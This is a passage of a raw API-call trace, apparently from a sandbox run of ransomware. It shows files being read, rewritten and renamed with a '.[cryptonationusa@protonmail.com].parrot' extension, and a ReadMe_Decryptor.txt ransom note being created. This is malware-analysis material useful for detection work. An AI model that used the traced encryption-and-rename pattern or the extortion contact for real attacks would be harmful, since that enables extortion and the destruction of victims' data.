lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0137.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0137.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0137.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0137.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0137.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0137.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0137.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6ab290 [0137.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0137.433] WriteFile (in: hFile=0x288, lpBuffer=0x6ab2a0*, nNumberOfBytesToWrite=0x1fe8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6ab2a0*, lpNumberOfBytesWritten=0x18eed4*=0x1fe8, lpOverlapped=0x0) returned 1 [0137.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0137.434] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fdc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.434] CloseHandle (hObject=0x288) returned 1 [0137.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0137.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0137.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0137.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0137.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0137.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0137.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0137.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0137.437] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b40, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.437] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.437] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.439] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.439] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a28, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3a28, lpOverlapped=0x0) returned 1 [0137.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0137.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0137.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0137.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0137.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0137.439] GetLastError () returned 0x0 [0137.440] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0137.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0137.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0137.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3160050 [0137.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0137.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x3162fe8 [0137.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0137.442] WriteFile (in: hFile=0x288, lpBuffer=0x3163000*, nNumberOfBytesToWrite=0x3b48, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3163000*, lpNumberOfBytesWritten=0x18eed4*=0x3b48, lpOverlapped=0x0) returned 1 [0137.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162fe8 | out: hHeap=0x5b0000) returned 1 [0137.443] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.443] CloseHandle (hObject=0x288) returned 1 [0137.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0137.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0137.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0137.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0137.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0137.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0137.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0137.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0137.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0137.445] GetFileType (hFile=0x288) returned 0x1 [0137.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0137.504] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2488, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.504] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.504] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.506] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.506] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2370, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2370, lpOverlapped=0x0) returned 1 [0137.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0137.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0137.507] GetLastError () returned 0x0 [0137.507] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0137.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0137.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0137.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0137.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0137.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0137.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0137.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3160050 [0137.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0137.509] WriteFile (in: hFile=0x288, lpBuffer=0x3160060*, nNumberOfBytesToWrite=0x2498, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3160060*, lpNumberOfBytesWritten=0x18eed4*=0x2498, lpOverlapped=0x0) returned 1 [0137.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0137.510] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2488, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.510] CloseHandle (hObject=0x288) returned 1 [0137.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0137.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0137.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0137.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0137.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0137.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0137.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0137.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0137.513] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c44, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.513] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.513] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.515] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, 